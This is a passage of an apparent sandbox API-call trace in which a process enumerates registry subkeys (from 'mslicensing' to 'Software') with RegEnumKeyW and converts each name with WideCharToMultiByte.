lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0028.176] RegEnumKeyW (in: hKey=0x34, dwIndex=0x40, lpName=0x38b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x38c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0028.176] RegEnumKeyW (in: hKey=0x34, dwIndex=0x41, lpName=0x38b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x38c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0028.177] RegEnumKeyW (in: hKey=0x34, dwIndex=0x42, lpName=0x38b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0028.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0028.177] RegEnumKeyW (in: hKey=0x34, dwIndex=0x43, lpName=0x38b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0028.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x38c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0028.177] RegEnumKeyW (in: hKey=0x34, dwIndex=0x44, lpName=0x38b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0028.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0028.177] RegEnumKeyW (in: hKey=0x34, dwIndex=0x45, lpName=0x38b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0028.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x38c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0028.177] RegEnumKeyW (in: hKey=0x34, dwIndex=0x46, lpName=0x38b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0028.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x38c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0028.177] RegEnumKeyW (in: hKey=0x34, dwIndex=0x47, lpName=0x38b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0028.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0028.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x38c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0028.177] RegEnumKeyW (in: hKey=0x34, dwIndex=0x48, lpName=0x38b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0028.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x38c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0028.178] RegEnumKeyW (in: hKey=0x34, dwIndex=0x49, lpName=0x38b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0028.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x38c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0028.178] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4a, lpName=0x38b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0028.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0028.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x38c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0028.178] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4b, lpName=0x38b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0028.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0028.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x38c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0028.179] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4c, lpName=0x38b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0028.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0028.179] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4d, lpName=0x38b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0028.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x38c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0028.179] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4e, lpName=0x38b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0028.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x38c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0028.179] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4f, lpName=0x38b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0028.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0028.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x38c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0028.179] RegEnumKeyW (in: hKey=0x34, dwIndex=0x50, lpName=0x38b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0028.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0028.179] RegEnumKeyW (in: hKey=0x34, dwIndex=0x51, lpName=0x38b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0028.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x38c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0028.179] RegEnumKeyW (in: hKey=0x34, dwIndex=0x52, lpName=0x38b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0028.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0028.180] RegEnumKeyW (in: hKey=0x34, dwIndex=0x53, lpName=0x38b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0028.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x38c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0028.180] RegEnumKeyW (in: hKey=0x34, dwIndex=0x54, lpName=0x38b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0028.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x38c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0028.180] RegEnumKeyW (in: hKey=0x34, dwIndex=0x55, lpName=0x38b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0028.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x38c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0028.180] RegEnumKeyW (in: hKey=0x34, dwIndex=0x56, lpName=0x38b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0028.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0028.180] RegEnumKeyW (in: hKey=0x34, dwIndex=0x57, lpName=0x38b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0028.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x38c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0028.180] RegEnumKeyW (in: hKey=0x34, dwIndex=0x58, lpName=0x38b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0028.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0028.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x38c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0028.181] RegEnumKeyW (in: hKey=0x34, dwIndex=0x59, lpName=0x38b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0028.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x38c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0028.181] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5a, lpName=0x38b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0028.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x38c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0028.181] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5b, lpName=0x38b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0028.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x38c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0028.181] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5c, lpName=0x38b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0028.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0028.181] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5d, lpName=0x38b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0028.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x38c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0028.181] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5e, lpName=0x38b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0028.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x38c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0028.181] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5f, lpName=0x38b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0028.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x38c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0028.182] RegEnumKeyW (in: hKey=0x34, dwIndex=0x60, lpName=0x38b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0028.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0028.182] RegEnumKeyW (in: hKey=0x34, dwIndex=0x61, lpName=0x38b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0028.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x38c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0028.182] RegEnumKeyW (in: hKey=0x34, dwIndex=0x62, lpName=0x38b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0028.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0028.182] RegEnumKeyW (in: hKey=0x34, dwIndex=0x63, lpName=0x38b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0028.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0028.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x38c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0028.182] RegEnumKeyW (in: hKey=0x34, dwIndex=0x64, lpName=0x38b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0028.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x38c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0028.182] RegEnumKeyW (in: hKey=0x34, dwIndex=0x65, lpName=0x38b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0028.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x38c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0028.182] RegEnumKeyW (in: hKey=0x34, dwIndex=0x66, lpName=0x38b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0028.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x38c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0028.183] RegEnumKeyW (in: hKey=0x34, dwIndex=0x67, 